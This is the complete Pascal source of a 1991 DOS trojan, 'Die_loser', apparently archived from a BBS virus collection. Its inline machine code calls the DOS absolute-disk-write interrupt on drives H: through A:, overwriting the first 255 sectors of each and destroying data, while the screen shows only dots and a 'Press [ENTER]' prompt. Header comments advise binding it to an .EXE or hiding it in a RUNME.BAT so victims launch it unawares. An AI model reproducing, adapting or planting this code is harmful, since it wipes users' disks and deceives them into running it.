home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / dieloser.pas < prev    next >
Pascal/Delphi Source File  |  1991-05-08  |  2KB  |  49 lines
  1.         Program Die_loser;
  2.  
  3.           {Written and Compiled in TP 5.5 by VanguarD}
  4.  
  5.           {A Nation of Thieve's release.  Use with discretion, and let it
  6.           be known that NoT and the author of this program are NoT
  7.           responsible for any problems or damage this file may cause.}
  8.  
  9.           {Best suggestion for use: Either link it to the .EXE of a program
  10.           to be run, or hide it and add it to the RUNME.BAT file that most
  11.           losers use when they boot up a ware}
  12.  
  13. {
  14.                         NNNN   NN     'TTTTTTTTTTT
  15.                        'NNNN  'NN      ''''TTT
  16.                        'NNNN  'NN  OOOOOO 'TTT
  17.                        'NNN N 'NN'OO   'OO'TTT
  18.                        'NNN 'NNNN'OOO  'OO'TTT
  19.                        'NNN  'NNN 'OOOOOO 'TTT
  20.                        ''''  '''  ''''''  '''
  21.  
  22.                 Nation of Thieves Trojan/Virus Release #1
  23.                                                                          }
  24.  
  25.  
  26.         uses dos,crt;
  27.         var ch : char;
  28.         Begin
  29.           clrscr;
  30.           inline ($B0/$07/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {H:}
  31.           write ('.');
  32.           inline ($B0/$06/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {G:}
  33.           write ('.');
  34.           inline ($B0/$05/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {F:}
  35.           write ('.');
  36.           inline ($B0/$04/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {E:}
  37.           write ('.');
  38.           inline ($B0/$03/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {D:}
  39.           write ('.');
  40.           inline ($B0/$02/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {C:}
  41.           write ('.');
  42.           inline ($B0/$01/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {B:}
  43.           write ('.');
  44.           inline ($B0/$00/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {A:}
  45.           writeln;
  46.           write ('Press [ENTER] to Continue');
  47.           readln;
  48.         end.
  49.